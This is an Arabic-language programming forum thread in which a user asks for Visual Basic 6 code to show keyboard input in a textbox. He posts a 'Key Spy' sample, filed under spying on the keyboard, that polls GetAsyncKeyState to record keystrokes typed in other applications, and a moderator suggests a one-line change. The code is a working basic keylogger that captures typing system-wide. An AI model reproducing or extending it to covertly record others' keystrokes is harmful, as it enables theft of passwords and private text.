كلمة صاحب الموقع  

  اخبر صديقك سجل الزوار كيف تدعمنا القائمة البريدية كلمة صاحب الموقع
 

موبايلي


العودة   منتديات البرامج العربية والمعربة > المنتديات التقنية > قسم البرمجة
التسجيل مركز رفع الملفات البحث مشاركات اليوم اجعل كافة المشاركات مقروءة
 

 

قسم البرمجة قسم خاص لكل أنواع البرمجة
بإشراف : ذياب + المبرمج 130

رد
 
LinkBack أدوات الموضوع طرق مشاهدة الموضوع
قديم 28 ربيع الثاني 1429هجري, 09:46 مساء   رقم المشاركة : 1 (permalink)
عضو جديد





Thumbs up أريد كود جزاكم الله خيرا

السلام عليكم

visula basic 6

أريد كود لإرسال الكتابة والأكواد التي تم كتابتها في الكيبورد (clavier) إلى تكست بوكس (textbox)

مع الشرح وشكرا لكم

 

 

abdellah111 غير متواجد حالياً   رد مع اقتباس
اعلانات ادسنس
منتدى طلاب وطالبات كلية الحاسب

قديم 2 جمادى الأولى 1429هجري, 05:33 مساء   رقم المشاركة : 2 (permalink)
مبرمج برامج
مشرف قسم البرمجة






افتراضي رد: أريد كود جزاكم الله خيرا

بحثت و لم أجد للأسف

 

 

التوقيع

المبرمج 130 غير متواجد حالياً   رد مع اقتباس
قديم 2 جمادى الأولى 1429هجري, 08:34 مساء   رقم المشاركة : 3 (permalink)
عضو جديد





Thumbs up رد: أريد كود جزاكم الله خيرا

شكرا لك أخي المبرمج 130 على مجهودك
أنا هدا ما وجدته في برنامج مشهور بنك الأكواد فيه عدة برامج

حمل من هنا http://almobile.maktoob.com/org/uploads/d24185c339.rar

وين تلقي الكود الكود يوجد :

بنك الاكواد >> الفأرة ولوحة المفاتيح >> التجسس على لوحة المفاتيح

لكنه يظهر الكلمة في MsgBox وليس في التيكست وارجوا أن تساعدني في دلك


الكود
في الموديول



كود:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub


' &Ouml;&Uacute; &aring;&ETH;&Ccedil; &Ccedil;&aacute;&szlig;&aelig;&Iuml; &Yacute;&iacute; &Ccedil;&aacute;&Yacute;&aelig;&Ntilde;&atilde;

Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub

والله يجازيك بالخير

 

 

abdellah111 غير متواجد حالياً   رد مع اقتباس
قديم 3 جمادى الأولى 1429هجري, 09:42 صباحاً   رقم المشاركة : 4 (permalink)
مبرمج برامج
مشرف قسم البرمجة






افتراضي رد: أريد كود جزاكم الله خيرا

استبدل هذا الكود

MsgBox sSave

بهذا

text1.text = sSave

 

 

التوقيع

المبرمج 130 غير متواجد حالياً   رد مع اقتباس
قديم 3 جمادى الأولى 1429هجري, 01:02 مساء   رقم المشاركة : 5 (permalink)
عضو جديد





افتراضي رد: أريد كود جزاكم الله خيرا

شكرا لك أخي ممكن أن تسوي لي مشروع مع سورس وتضع فيه زر كومند عند الضغط عليه تظهر الكتابة التي تم كتابتها في الكيبورد في تكست بوكس وشكرا أخي وأسف على كثرة الأسئلة

 

 

abdellah111 غير متواجد حالياً   رد مع اقتباس
رد



الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
طرق مشاهدة الموضوع

تعليمات المشاركة
لا تستطيع كتابة مواضيع
لا تستطيع كتابة ردود
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة
الانتقال السريع إلى

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
كن أجمل الفتاة الداعية المنتدى العام 4 23 صفر 1429هجري 10:34 صباحاً
إعجاز القرآن الذى أذهل علماء الغرب فنطقوا بالشهادة !!!!! صدى الذات المنتدى العام 5 3 رمضان 1428هجري 04:53 مساء
كيف نستقبل شهر رمضان؟ صدى الذات المنتدى العام 2 22 شعبان 1428هجري 11:18 مساء

منتديات حارتنا

 | شبكة الأسيف  | قاف لخدمة القرآن الكريم | شبكة الهنوف العربية | مركاز | منتديات فاول الرياضي | برامج


الساعة الآن: 01:59 صباحاً


Powered by vBulletin Version : 3.6.8
. Copyright ©2000 - 2007, Jelsoft Enterprises Ltd

 

جميع الحقوق محفوظة لكل مسلم , بشرط ذكر المصدر